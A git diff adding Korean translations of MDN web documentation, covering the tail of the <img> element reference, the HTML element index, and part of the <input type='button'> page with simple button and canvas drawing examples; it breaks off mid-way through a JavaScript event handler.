+ <p><strong>Note:</strong> This attribute is mentioned in the latest {{glossary("W3C")}} version, <a class="external external-icon" href="https://www.w3.org/TR/html52/obsolete.html#element-attrdef-img-longdesc">HTML 5.2</a>, but has been removed from the {{glossary("WHATWG")}}’s <a class="external external-icon" href="https://html.spec.whatwg.org/multipage/embedded-content.html#the-img-element">HTML Living Standard</a>. It has an uncertain future; authors should use a {{glossary("WAI")}}-{{glossary("ARIA")}} alternative such as <a class="external external-icon" href="https://www.w3.org/TR/wai-aria-1.1/#aria-describedby"><code>aria-describedby</code></a> or <a class="external external-icon" href="https://www.w3.org/TR/wai-aria-1.1/#aria-details"><code>aria-details</code></a>.</p>
+ </div>
+ </dd>
+ <dt>{{htmlattrdef("name")}} {{Obsolete_Inline}}</dt>
+ <dd>A name for the element. Use the {{htmlattrxref("id")}} attribute instead.</dd>
+ <dt>{{htmlattrdef("vspace")}} {{Obsolete_Inline}}</dt>
+ <dd>The number of pixels of white space above and below the image. Use the {{cssxref('margin')}} CSS property instead.</dd>
+</dl>
+</div>
+
+<h2 id="CSS_스타일링">CSS 스타일링</h2>
+
+<p><code>&lt;img&gt;</code>는 <a href="/ko/docs/Web/CSS/Replaced_element">대체 요소</a>입니다. 기본적으로 {{cssxref("display")}}는 <code>inline</code>이나, 기본 크기는 내장한 이미지의 고유 크기로 정해지므로 마치 <code>inline-block</code>처럼 보입니다. {{cssxref("border")}}/{{cssxref("border-radius")}}, {{cssxref("padding")}}/{{cssxref("margin")}}, {{cssxref("width")}}, {{cssxref("height")}} 등의 속성을 이미지에 지정할 수 있습니다.</p>
+
+<p><code>&lt;img&gt;</code>는 기준선을 갖지 않으므로, {{cssxref("vertical-align")}}<code>: baseline</code>을 지정한 인라인 서식 맥락에서는 이미지의 아래쪽 모서리가 텍스트 기준선으로 가게 됩니다.</p>
+
+<p>요소 박스 내의 이미지 위치는 {{cssxref("object-position")}} 속성으로 바꿀 수 있습니다. 크기는 {{cssxref("object-fit")}} 속성을 통해 요소 크기에 맞출지, 요소를 채울지 등을 지정할 수 있습니다.</p>
+
+<p>이미지는 고유 너비와 높이를 가질 수 있지만, 일부 유형의 이미지는 그렇지 않습니다. 예를 들어, {{glossary("SVG")}} 요소는 루트 {{svgelement("svg")}} 요소에 <code>width</code>와 <code>height</code>가 없는 경우 고유 크기를 가지지 않습니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="보조_텍스트">보조 텍스트</h3>
+
+<p>페이지에 이미지를 삽입하고, 접근성을 높이기 위해 대체 텍스트를 제공하는 간단한 예제입니다.</p>
+
+<pre class="brush: html">&lt;img src="https://developer.mozilla.org/static/img/favicon144.png"
+     alt="MDN logo"&gt;</pre>
+
+<p>{{ EmbedLiveSample('보조_텍스트', '100%', '70') }}</p>
+
+<h3 id="이미지_링크">이미지 링크</h3>
+
+<p>이 예제는 이전 코드에 더해 이미지를 링크로 바꾸는 법을 보입니다. 단순히 <code>&lt;img&gt;</code> 태그를 {{htmlelement("a")}} 안에 넣기만 하면 됩니다. 다만 고려할 점 하나는, 해당 링크가 가리키는 곳을 설명하는 대체 텍스트를 포함해야 한다는 것입니다.</p>
+
+<pre class="brush: html">&lt;a href="https://developer.mozilla.org"&gt;
+  &lt;img src="https://developer.mozilla.org/static/img/favicon144.png"
+       alt="Visit the MDN site"&gt;
+&lt;/a&gt;</pre>
+
+<p>{{ EmbedLiveSample('이미지_링크', '100%', '70') }}</p>
+
+<h3 id="srcset_특성_사용하기"><code>srcset</code> 특성 사용하기</h3>
+
+<p>이번 예제에서는 {{htmlattrxref("srcset", "img")}} 특성에 고해상도 버전 로고를 추가했습니다. 그러면 고해상도 장치에서는 일반 <code>src</code> 이미지 대신 고해상도 이미지를 사용합니다. <code>srcset</code> 특성을 지원하는 {{glossary("user agent", "사용자 에이전트")}}는 <code>src</code> 특성을 <code>srcset</code> <code>1x</code> 로 간주합니다.</p>
+
+<pre class="brush: html">&lt;img src="https://developer.mozilla.org/static/img/favicon72.png"
+     alt="MDN logo"
+     srcset="https://developer.mozilla.org/static/img/favicon144.png 2x"&gt;</pre>
+
+<p>{{EmbedLiveSample("srcset_특성_사용하기", "100%", "160")}}</p>
+
+<h3 id="srcset과_sizes_특성_사용하기"><code>srcset</code>과 <code>sizes</code> 특성 사용하기</h3>
+
+<p>{{htmlattrxref("srcset", "img")}}를 지원하는 {{glossary("user agent", "사용자 에이전트")}}는, <code>srcset</code>에 <code>w</code> 서술자를 사용한 경우 <code>src</code> 특성을 무시합니다. 다음 코드는 미디어 조건 <code>(max-width: 600px)</code>을 만족할 때 200px 너비의 이미지를 불러오고, 그 외의 경우엔 다른 이미지(400px)를 불러옵니다.</p>
+
+<pre class="brush: html">&lt;img src="/files/16864/clock-demo-200px.png"
+     alt="Clock"
+     srcset="/files/16864/clock-demo-200px.png 200w,
+             /files/16797/clock-demo-400px.png 400w"
+     sizes="(max-width: 600px) 200px, 50vw"&gt;</pre>
+
+<p>{{EmbedLiveSample("srcset과_sizes_특성_사용하기", "100%", 350)}}</p>
+
+<div class="blockIndicator note">
+<p>직접 창 크기를 조절하면서 이미지의 변화를 관측하려면 <a href="https://mdn.mozillademos.org/ko/docs/Web/HTML/Element/img$samples/srcset%EA%B3%BC_sizes_%ED%8A%B9%EC%84%B1_%EC%82%AC%EC%9A%A9%ED%95%98%EA%B8%B0">별도 페이지</a>를 방문하세요.</p>
+</div>
+
+<h2 id="보안_및_개인정보_고려사항">보안 및 개인정보 고려사항</h2>
+
+<p><code>&lt;img&gt;</code> 요소를 사용하는 것에는 문제가 없으나, 의도치 않게 사용자 개인정보와 보안에 악영향을 줄 수 있습니다. <a href="/ko/docs/Web/Security/Referer_header:_privacy_and_security_concerns">Referer 헤더: 개인정보 및 보안 고려사항</a> 문서를 방문해 더 많은 정보를 알아보세요.</p>
+
+<h2 id="접근성_고려사항">접근성 고려사항</h2>
+
+<h3 id="적합한_대체_설명_작성">적합한 대체 설명 작성</h3>
+
+<p>{{htmlattrxref("alt", "img")}} 특성의 값은 이미지 콘텐츠를 간단하고 명료하게 설명해야 합니다. 그러나 이미지의 존재 여부나, 이미지 파일의 이름을 나타내서는 안됩니다. 이미지를 텍스트로 설명할 방법이 없어서 의도적으로 <code>alt</code>를 지정하지 않은 경우, 해당 이미지가 나타내려는 바를 알려줄 수 있는 다른 방법을 고려해보세요.</p>
+
+<h4 id="부적절">부적절</h4>
+
+<pre class="brush: html example-bad">&lt;img alt="이미지" src="penguin.jpg"&gt;
+</pre>
+
+<h4 id="적절">적절</h4>
+
+<pre class="brush: html example-good">&lt;img alt="해변에 서있는 바위뛰기펭귄." src="penguin.jpg"&gt;
+</pre>
+
+<p>일부 스크린 리더는 <code>alt</code> 특성을 가지지 않는 이미지를 보면 파일 이름을 표현하는 경우가 있는데, 이 때 파일의 이름이 이미지의 콘텐츠를 설명하지 않는다면 사용자가 혼란스러울 수 있습니다.</p>
+
+<ul>
+ <li><a class="external" href="https://www.w3.org/WAI/tutorials/images/decision-tree/">An alt Decision Tree • Images • WAI Web Accessibility Tutorials</a></li>
+ <li><a class="external" href="https://axesslab.com/alt-texts/">Alt-texts: The Ultimate Guide — Axess Lab</a></li>
+ <li><a class="external" href="https://www.deque.com/blog/great-alt-text-introduction/">How to Design Great Alt Text: An Introduction | Deque</a></li>
+ <li><a href="/en-US/docs/Web/Accessibility/Understanding_WCAG/Perceivable#Guideline_1.1_—_Providing_text_alternatives_for_non-text_content">MDN Understanding WCAG, Guideline 1.1 explanations</a></li>
+ <li><a class="external" href="https://www.w3.org/TR/UNDERSTANDING-WCAG20/text-equiv-all.html">Understanding Success Criterion 1.1.1 | W3C Understanding WCAG 2.0</a></li>
+</ul>
+
+<h3 id="title_특성"><code>title</code> 특성</h3>
+
+<p>{{htmlattrxref("title")}} 특성은 {{htmlattrxref("alt", "img")}} 특성을 적합하게 대체할 수 없습니다. 또한, <code>alt</code>의 값을 <code>title</code>에도 반복하는 것을 피해야 합니다. 같은 값을 지정할 경우 일부 스크린 리더가 설명을 두 번씩 읽게 되므로 사용자가 혼란스러울 수 있습니다.</p>
+
+<p><code>title</code> 요소를 사용해 <code>alt</code> 설명에 대한 부연 설명을 제공해서도 안됩니다. 이미지가 설명을 필요로 하는 경우 {{htmlelement("figure")}}와 {{htmlelement("figcaption")}} 요소를 사용하세요.</p>
+
+<p><code>title</code> 특성은 보통 툴팁, 즉 사용자가 커서를 이미지 위에 올리고 가만히 있으면 짧은 시간 뒤에 나타나는 형태로 표현합니다. 따라서 추가 정보를 제공할 수는 있겠으나 터치 화면, 또는 키보드만 사용하는 경우도 존재하므로 사용자가 툴팁을 볼 수 있을 것이라고 기대해서는 안됩니다. 사용자에게 많이 중요한 정보를 포함해야 하면 <code>title</code> 특성 대신 위에 명시한 다른 방법을 사용하세요.</p>
+
+<ul>
+ <li><a class="external" href="https://developer.paciellogroup.com/blog/2013/01/using-the-html-title-attribute-updated/">Using the HTML title attribute – updated | The Paciello Group</a></li>
+</ul>
+
+<h2 id="기술_요약">기술 요약</h2>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row"><a href="/ko/docs/Web/Guide/HTML/Content_categories">콘텐츠 카테고리</a></th>
+   <td><a href="/ko/docs/Web/Guide/HTML/Content_categories#플로우_콘텐츠">플로우 콘텐츠</a>, <a href="/ko/docs/Web/Guide/HTML/Content_categories#구문_콘텐츠">구문 콘텐츠</a>, <a href="/ko/docs/Web/Guide/HTML/Content_categories#내장_콘텐츠">내장 콘텐츠</a>, <a href="/ko/docs/Web/Guide/HTML/Content_categories#뚜렷한_콘텐츠">뚜렷한 콘텐츠</a>. <code>usemap</code> 특성을 가진 경우 <a href="/ko/docs/Web/Guide/HTML/Content_categories#대화형_콘텐츠">대화형 콘텐츠</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">가능한 콘텐츠</th>
+   <td>없음. {{glossary("empty element", "빈 요소")}}입니다.</td>
+  </tr>
+  <tr>
+   <th scope="row">태그 생략</th>
+   <td>여는 태그는 필수입니다. 닫는 태그는 존재해선 안됩니다.</td>
+  </tr>
+  <tr>
+   <th scope="row">가능한 부모 요소</th>
+   <td><a href="/ko/docs/Web/Guide/HTML/Content_categories#내장_콘텐츠">내장 콘텐츠</a>를 허용하는 모든 요소.</td>
+  </tr>
+  <tr>
+   <th scope="row">가능한 ARIA 역할</th>
+   <td>모두</td>
+  </tr>
+  <tr>
+   <th scope="row">DOM 인터페이스</th>
+   <td>{{domxref("HTMLImageElement")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('Referrer Policy', '#referrer-policy-delivery-referrer-attribute', 'referrer attribute')}}</td>
+   <td>{{Spec2('Referrer Policy')}}</td>
+   <td>Added the <code>referrerpolicy</code> attribute.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'embedded-content.html#the-img-element', '&lt;img&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'semantics-embedded-content.html#the-img-element', '&lt;img&gt;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML4.01', 'struct/objects.html#h-13.2', '&lt;img&gt;')}}</td>
+   <td>{{Spec2('HTML4.01')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("html.elements.img")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{HTMLElement("picture")}}, {{HTMLElement("object")}}, {{HTMLElement("embed")}} 요소</li>
+ <li>이미지 관련 CSS 속성: {{cssxref("object-fit")}}, {{cssxref("object-position")}}, {{cssxref("image-orientation")}}, {{cssxref("image-rendering")}}, {{cssxref("image-resolution")}}.</li>
+</ul>
diff --git a/files/ko/web/html/element/index.html b/files/ko/web/html/element/index.html
new file mode 100644
index 0000000000..9ecf2abe63
--- /dev/null
+++ b/files/ko/web/html/element/index.html
@@ -0,0 +1,102 @@
+---
+title: HTML 요소 참고서
+slug: Web/HTML/Element
+tags:
+  - Basic
+  - Element
+  - HTML
+  - Reference
+  - Web
+  - 'l10n:priority'
+translation_of: Web/HTML/Element
+---
+<p>{{HTMLSidebar("Elements")}}<br>
+ <span class="seoSummary">이 페이지는 {{glossary("tag", "태그")}}를 사용해 만들 수 있는 모든 {{glossary("HTML")}} {{glossary("Element", "요소")}}의 목록을 제공합니다.</span> 필요로 하는 요소를 쉽게 찾을 수 있도록 기능별로 분류했으며, 각각의 요소 참조 페이지 사이드바에서는 사전 순으로 정렬된 목록도 확인할 수 있습니다.</p>
+
+<h2 id="메인_루트">메인 루트</h2>
+
+<p>{{HTMLRefTable("HTML Root Element")}}</p>
+
+<h2 id="문서_메타데이터" style="line-height: 30px; font-size: 2.14285714285714rem;">문서 메타데이터</h2>
+
+<p>{{glossary("metadata", "메타데이터")}}는 스타일, 스크립트, 각종 소프트웨어({{Glossary("search engine", "검색 엔진")}}, {{glossary("browser", "브라우저")}} 등)의 탐색 및 렌더링을 도와줄 데이터 등 페이지에 대한 정보를 가집니다. 스타일과 스크립트 메타데이터는 페이지 안에서 정의할 수도 있고, 해당하는 정보를 가진 다른 파일로 링크할 수도 있습니다.</p>
+
+<p>{{HTMLRefTable("HTML document metadata")}}</p>
+
+<h2 id="구획_루트" style="line-height: 30px; font-size: 2.14285714285714rem;">구획 루트</h2>
+
+<p>{{HTMLRefTable("Sectioning Root Element")}}</p>
+
+<h2 id="콘텐츠_구획" style="line-height: 30px; font-size: 2.14285714285714rem;">콘텐츠 구획</h2>
+
+<p>콘텐츠 구획 요소를 사용하면 문서의 콘텐츠를 논리적인 조각으로 체계화할 수 있습니다. 구획 요소를 사용해 탐색을 위한 헤더 및 푸터, 콘텐츠 판별을 위한 제목 요소 등 페이지 콘텐츠의 큰 틀을 잡으세요.</p>
+
+<p>{{HTMLRefTable("HTML sections")}}</p>
+
+<h2 id="텍스트_콘텐츠" style="line-height: 30px; font-size: 2.14285714285714rem;">텍스트 콘텐츠</h2>
+
+<p>HTML 텍스트 콘텐츠를 사용하여 여는 {{htmlelement("body")}}와 닫는 <code>&lt;/body&gt;</code> 태그 사이의 블록이나 콘텐츠 구획을 정리할 수 있습니다. 해당 콘텐츠의 목적이나 구조 판별에 사용하므로 {{glossary("accessibility", "접근성")}}과 {{glossary("SEO")}}에 중요합니다.</p>
+
+<p>{{HTMLRefTable("HTML grouping content")}}</p>
+
+<h2 id="인라인_텍스트_시멘틱" style="line-height: 30px; font-size: 2.14285714285714rem;">인라인 텍스트 시멘틱</h2>
+
+<p>HTML 인라인 텍스트 시멘틱을 사용해서 단어, 줄, 혹은 아무 부분의 의미나 구조, 스타일을 정의할 수 있습니다.</p>
+
+<p>{{HTMLRefTable("HTML text-level semantics")}}</p>
+
+<h2 id="이미지_멀티미디어" style="line-height: 30px; font-size: 2.14285714285714rem;">이미지 &amp; 멀티미디어</h2>
+
+<p>HTML은 사진, 오디오, 비디오 등 다양한 멀티미디어 리소스를 지원합니다..</p>
+
+<p>{{HTMLRefTable("multimedia")}}</p>
+
+<h2 id="내장_콘텐츠" style="line-height: 30px; font-size: 2.14285714285714rem;">내장 콘텐츠</h2>
+
+<p>HTML은 일반적인 멀티미디어 콘텐츠 외에도 다양한 종류의 기타 콘텐츠를 포함할 수 있습니다.</p>
+
+<p>{{HTMLRefTable({"include":["HTML embedded content"], "exclude":["multimedia"]})}}</p>
+
+<h2 id="스크립트" style="line-height: 30px; font-size: 2.14285714285714rem;">스크립트</h2>
+
+<p>HTML은 동적인 콘텐츠와 웹 어플리케이션을 위해 스크립트 언어, 그 중에서도 주로 JavaScript를 지원합니다. 특정 요소가 이런 기능을 가지고 있습니다.</p>
+
+<p>{{HTMLRefTable("HTML scripting")}}</p>
+
+<h2 id="수정사항_표시" style="line-height: 30px; font-size: 2.14285714285714rem;">수정사항 표시</h2>
+
+<p>텍스트의 특정 부분이 수정됐다는 것을 표시할 수 있습니다.</p>
+
+<p>{{HTMLRefTable("HTML edits")}}</p>
+
+<h2 id="표_콘텐츠" style="line-height: 30px; font-size: 2.14285714285714rem;">표 콘텐츠</h2>
+
+<p>표 형식의 데이터를 생성하고 처리할 때 사용합니다.</p>
+
+<p>{{HTMLRefTable("HTML tabular data")}}</p>
+
+<h2 id="양식" style="line-height: 30px; font-size: 2.14285714285714rem;">양식</h2>
+
+<p>HTML은 여러가지 입력 가능한 요소를 제공합니다. 이런 요소를 서로 조합하면 사용자가 내용을 채우고, 웹사이트나 어플리케이션에 제출할 수 있습니다. <a href="/ko/docs/Learn/HTML/Forms">HTML 폼 안내서</a>에 더욱 다양한 내용이 있습니다.</p>
+
+<p>{{HTMLRefTable("HTML forms")}}</p>
+
+<h2 id="대화형_요소" style="line-height: 30px; font-size: 2.14285714285714rem;">대화형 요소</h2>
+
+<p>HTML은 상호작용 가능한 사용자 인터페이스 객체를 만들 때 사용할 수 있는 요소를 지원합니다.</p>
+
+<p>{{HTMLRefTable("HTML interactive elements")}}</p>
+
+<h2 id="웹_컴포넌트" style="line-height: 30px; font-size: 2.14285714285714rem;">웹 컴포넌트</h2>
+
+<p>웹 컴포넌트는 완전히 새로운 형태의 요소를 생성한 후 일반적인 HTML처럼 사용할 수 있는 기술입니다. 또한 표준 HTML 요소의 맞춤 버전을 만들 수도 있습니다.</p>
+
+<p>{{HTMLRefTable({"include":["Web Components"],"exclude":["Deprecated", "Obsolete"]})}}</p>
+
+<h2 id="폐기됐거나_사용하지_않는_요소들" style="line-height: 30px; font-size: 2.14285714285714rem;">폐기됐거나 사용하지 않는 요소들</h2>
+
+<div class="warning" style="font-size: 14px;">
+<p><strong>경고</strong>: 다음은 더 이상 사용하지 않고, 사용해서도 안되는 오래된 HTML 요소입니다. <strong>새로운 프로젝트에서 절대 사용해서는 안되고, 오래된 프로젝트에서도 가능한 빨리 대체해야 합니다.</strong> 아래 목록은 정보성 목적으로만 존재합니다.</p>
+</div>
+
+<p>{{HTMLRefTable({"include":["Deprecated","Obsolete"]})}}</p>
diff --git a/files/ko/web/html/element/input/button/index.html b/files/ko/web/html/element/input/button/index.html
new file mode 100644
index 0000000000..ff986a95d4
--- /dev/null
+++ b/files/ko/web/html/element/input/button/index.html
@@ -0,0 +1,343 @@
+---
+title: <input type="button">
+slug: Web/HTML/Element/Input/button
+tags:
+  - Element
+  - Forms
+  - HTML
+  - HTML forms
+  - Input Element
+  - Input Type
+translation_of: Web/HTML/Element/input/button
+---
+<div>{{HTMLRef}}</div>
+
+<p><span class="seoSummary"><strong><code>button</code></strong> 유형의 {{htmlelement("input")}} 요소는 단순한 푸시 버튼으로 렌더링 됩니다. 이벤트 처리기(주로 {{event("click")}} 이벤트)를 부착하면, 사용자 지정 기능을 웹 페이지 어느 곳에나 제공할 수 있습니다. </span></p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/input-button.html", "tabbed-standard")}}</div>
+
+<p class="hidden">The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples </a> and send us a pull request.</p>
+
+<div class="note">
+<p><strong>참고</strong>:  <code>&lt;input&gt;</code> 요소의 <code>button</code> 유형도 전혀 틀리지 않은 방법이지만, 이후에 생긴 {{HTMLElement("button")}} 요소를 사용하는 것이 선호되는 방식입니다. <code>&lt;button&gt;</code>의 레이블 텍스트는 여는 태그와 닫는 태그 사이에 넣기 때문에, 심지어 이미지까지도 포함할 수 있습니다.</p>
+</div>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <td><strong>{{anch("값")}}</strong></td>
+   <td>버튼의 레이블로 사용할 {{domxref("DOMString")}}</td>
+  </tr>
+  <tr>
+   <td>이벤트</td>
+   <td>{{event("click")}}</td>
+  </tr>
+  <tr>
+   <td>지원하는 공용 특성</td>
+   <td>{{htmlattrxref("type", "input")}}, {{htmlattrxref("value", "input")}}</td>
+  </tr>
+  <tr>
+   <td><strong>IDL 특성</strong></td>
+   <td><code>value</code></td>
+  </tr>
+  <tr>
+   <td>메서드</td>
+   <td>없음</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="값">값</h2>
+
+<p><code>&lt;input type="button"&gt;</code> 요소의 {{htmlattrxref("value", "input")}} 특성은 버튼의 레이블로 사용할 {{domxref("DOMString")}}을 담습니다.</p>
+
+<div id="summary-example3">
+<pre class="brush: html">&lt;input type="button" value="클릭하세요"&gt;</pre>
+</div>
+
+<p>{{EmbedLiveSample("summary-example3", 650, 30)}}</p>
+
+<p><code>value</code>를 지정하지 않으면 빈 버튼이 됩니다.</p>
+
+<div id="summary-example1">
+<pre class="brush: html">&lt;input type="button"&gt;</pre>
+</div>
+
+<p>{{EmbedLiveSample("summary-example1", 650, 30)}}</p>
+
+<h2 id="버튼_사용하기">버튼 사용하기</h2>
+
+<p><code>&lt;input type="button"&gt;</code> 요소는 아무런 기본 기능도 가지지 않습니다. (유사한 요소인 <code><a href="/ko/docs/Web/HTML/Element/input/submit">&lt;input type="submit"&gt;</a></code>과 <code><a href="/ko/docs/Web/HTML/Element/input/reset">&lt;input type="reset"&gt;</a></code>은 각각 양식을 제출하고 초기화할 수 있습니다.) 버튼이 뭐라도 하게 만들려면 JavaScript 코드를 작성해야 합니다.</p>
+
+<h3 id="간단한_버튼">간단한 버튼</h3>
+
+<p>{{event("click")}} 이벤트 처리기를 부착한 간단한 버튼을 통해 기계를 켜고 끄는 기능을 만드는 것으로 시작해보겠습니다. (기계라고는 하지만, 그냥 버튼의 <code>value</code>와 문단 내용을 바꾸는 것입니다.)</p>
+
+<pre class="brush: html">&lt;form&gt;
+  &lt;input type="button" value="기계 켜기"&gt;
+&lt;/form&gt;
+&lt;p&gt;기계가 멈췄습니다.&lt;/p&gt;</pre>
+
+<pre class="brush: js">var btn = document.querySelector('input');
+var txt = document.querySelector('p');
+
+btn.addEventListener('click', updateBtn);
+
+function updateBtn() {
+  if (btn.value === '기계 켜기') {
+    btn.value = '기계 끄기';
+    txt.textContent = '기계가 켜졌습니다!';
+  } else {
+    btn.value = '기계 켜기';
+    txt.textContent = '기계가 멈췄습니다.';
+  }
+}</pre>
+
+<p>위의 스크립트는 DOM의 <code>&lt;input&gt;</code>을 나타내는 {{domxref("HTMLInputElement")}} 객체의 참조를 획득해 변수 <code>button</code>에 저장합니다. 그 후 {{domxref("EventTarget.addEventListener", "addEventListener()")}}를 사용해, {{event("click")}} 이벤트가 발생했을 때 실행할 함수를 생성합니다.</p>
+
+<p>{{EmbedLiveSample("간단한_버튼", 650, 100)}}</p>
+
+<h3 id="버튼에_키보드_단축키_추가하기">버튼에 키보드 단축키 추가하기</h3>
+
+<p>접근 키라고도 불리는 키보드 단축키는 사용자가 키보드의 키 혹은 키 조합을 통해 버튼을 누를 수 있는 방법을 제공합니다. 단축키를 추가하는 법은, 다른 {{htmlelement("input")}}과 마찬가지로, {{htmlattrxref("accesskey")}} 전역 특성을 추가하는 것입니다.</p>
+
+<p>이번 예제에서는 이전 예제에 더해 <kbd>s</kbd> 키를 접근 키로 지정합니다. (브라우저/운영체제에 따라 특정 조합키를 같이 눌러야 할 수도 있습니다. <code><a href="/ko/docs/Web/HTML/Global_attributes/accesskey">accesskey</a></code> 문서를 방문해 조합키 목록을 확인하세요.)</p>
+
+<div id="accesskey-example1">
+<pre class="brush: html">&lt;form&gt;
+  &lt;input type="button" value="기계 켜기" accesskey="s"&gt;
+&lt;/form&gt;
+&lt;p&gt;기계가 멈췄습니다.&lt;/p&gt;
+</pre>
+</div>
+
+<div class="hidden">
+<pre class="brush: js">var btn = document.querySelector('input');
+var txt = document.querySelector('p');
+
+btn.addEventListener('click', updateBtn);
+
+function updateBtn() {
+  if (btn.value === '기계 켜기') {
+    btn.value = '기계 끄기';
+    txt.textContent = '기계가 켜졌습니다!';
+  } else {
+    btn.value = '기계 켜기';
+    txt.textContent = '기계가 멈췄습니다.';
+  }
+}</pre>
+</div>
+
+<p>{{EmbedLiveSample("버튼에_키보드_단축키_추가하기", 650, 100)}}</p>
+
+<div class="note">
+<p><strong>참고</strong>: 위 예제의 문제는, 사용자 입장에선 어떤 단축키가 있는지 알 수도 없다는 것입니다! 실제 웹 사이트에서는, 쉽게 접근 가능한 곳에 놓인 링크로 단축키 정보를 설명하는 문서를 가리키는 등 사이트 디자인을 방해하지 않는 선에서 단축키 정보를 제공해야 할 것입니다.</p>
+</div>
+
+<h3 id="버튼_활성화와_비활성화">버튼 활성화와 비활성화</h3>
+
+<p>버튼을 비활성화하려면 간단히 {{htmlattrxref("disabled")}} 전역 특성을 지정하는 것으로 충분합니다.</p>
+
+<div id="disable-example1">
+<pre class="brush: html">&lt;input type="button" value="Disable me" disabled&gt;</pre>
+</div>
+
+<p>런타임에서 바꿀 땐 요소의 <code>disabled</code> 속성에 <code>true</code>나 <code>false</code>를 설정하면 끝입니다. 이번 예제의 버튼은 활성화 상태지만, 누르는 순간 <code>btn.disabled = true</code>를 통해 비활성화합니다. 그 후, {{domxref("WindowTimers.setTimeout","setTimeout()")}} 함수를 통해 2초 후 다시 활성화 상태로 되돌립니다.</p>
+
+<div class="hidden">
+<h6 id="Hidden_code_1">Hidden code 1</h6>
+
+<pre class="brush: html">&lt;input type="button" value="활성"&gt;</pre>
+
+<pre class="brush: js">var btn = document.querySelector('input');
+
+btn.addEventListener('click', disableBtn);
+
+function disableBtn() {
+  btn.disabled = true;
+  btn.value = '비활성';
+  window.setTimeout(function() {
+    btn.disabled = false;
+    btn.value = '활성';
+  }, 2000);
+}</pre>
+</div>
+
+<p>{{EmbedLiveSample("Hidden_code_1", 650, 60)}}</p>
+
+<p><code>disabled</code> 특성을 지정하지 않은 경우 부모 요소의 <code>disabled</code>를 상속합니다. 이 점을 이용하면, 여러 개의 요소를 {{HTMLElement("fieldset")}} 등 부모 요소로 감싸고, 그 부모의 <code>disabled</code> 를 사용해 한꺼번에 상태를 통제할 수 있습니다.</p>
+
+<p>다음 예제로 한 번에 비활성화하는 예제를 볼 수 있습니다. 이전 예제와 거의 똑같지만, 다른 점은 <code>disabled</code> 특성을 <code>&lt;fieldset&gt;</code>에 설정한다는 점입니다. 1번 버튼을 눌러보세요. 모든 버튼이 비활성화되고, 2초 후 활성화됩니다.</p>
+
+<div class="hidden">
+<h6 id="Hidden_code_2">Hidden code 2</h6>
+
+<pre class="brush: html">&lt;fieldset&gt;
+  &lt;legend&gt;Button group&lt;/legend&gt;
+  &lt;input type="button" value="Button 1"&gt;
+  &lt;input type="button" value="Button 2"&gt;
+  &lt;input type="button" value="Button 3"&gt;
+&lt;/fieldset&gt;</pre>
+
+<pre class="brush: js">var btn = document.querySelector('input');
+var fieldset = document.querySelector('fieldset');
+
+btn.addEventListener('click', disableBtn);
+
+function disableBtn() {
+  fieldset.disabled = true;
+  window.setTimeout(function() {
+    fieldset.disabled = false;
+  }, 2000);
+}</pre>
+</div>
+
+<p>{{EmbedLiveSample("Hidden_code_2", 650, 60)}}</p>
+
+<h2 id="유효성_검사">유효성 검사</h2>
+
+<p>버튼은 제한할 값이 없으므로 유효성 검사의 대상이 아닙니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<p>아래 예제는 {{htmlelement("canvas")}} 요소와 CSS(분량 조절을 위해 생략), JavaScript를 사용해 만든 매우 단순한 그림 그리기 앱입니다. 위쪽 두 컨트롤은 색과 펜 크기를 조절할 때 사용하고, 버튼은 클릭하면 캔버스의 그림을 모두 지우는 함수를 호출합니다.</p>
+
+<pre class="brush: html">&lt;div class="toolbar"&gt;
+  &lt;input type="color" aria-label="펜 색상"&gt;
+  &lt;input type="range" min="2" max="50" value="30" aria-label="펜 크기"&gt;&lt;span class="output"&gt;30&lt;/span&gt;
+  &lt;input type="button" value="캔버스 지우기"&gt;
+&lt;/div&gt;
+
+&lt;canvas class="myCanvas"&gt;
+  &lt;p&gt;Add suitable fallback here.&lt;/p&gt;
+&lt;/canvas&gt;</pre>
+
+<div class="hidden">
+<pre class="brush: css">body {
+  margin: 0;
+  overflow: hidden;
+  background: #ccc;
+}
+
+.toolbar {
+  width: 150px;
+  height: 75px;
+  background: #ccc;
+  padding: 5px;
+}
+
+input[type="color"], input[type="button"] {
+  width: 90%;
+  margin: 0 auto;
+  display: block;
+}
+
+input[type="range"] {
+  width: 70%;
+}
+
+ span {
+   position: relative;
+   bottom: 5px;
+ }</pre>
+</div>
+
+<pre class="brush: js">var canvas = document.querySelector('.myCanvas');
+var width = canvas.width = window.innerWidth;
+var height = canvas.height = window.innerHeight-85;
+var ctx = canvas.getContext('2d');
+
+ctx.fillStyle = 'rgb(0,0,0)';
+ctx.fillRect(0,0,width,height);
+
+var colorPicker = document.querySelector('input[type="color"]');
+var sizePicker = document.querySelector('input[type="range"]');
+var output = document.querySelector('.output');
+var clearBtn = document.querySelector('input[type="button"]');
+
+// covert degrees to radians
+function degToRad(degrees) {
+  return degrees * Math.PI / 180;
+};
+
+// update sizepicker output value
+
+sizePicker.oninput = function() {
+  output.textContent = sizePicker.value;
+}
+
+// store mouse pointer coordinates, and whether the button is pressed
+var curX;
+var curY;
+var pressed = false;
+
+// update mouse pointer coordinates
+document.onmousemove = function(e) {
+  curX = (window.Event) ? e.pageX : e.clientX + (document.documentElement.scrollLeft ? document.documentElement.scrollLeft : document.body.scrollLeft);
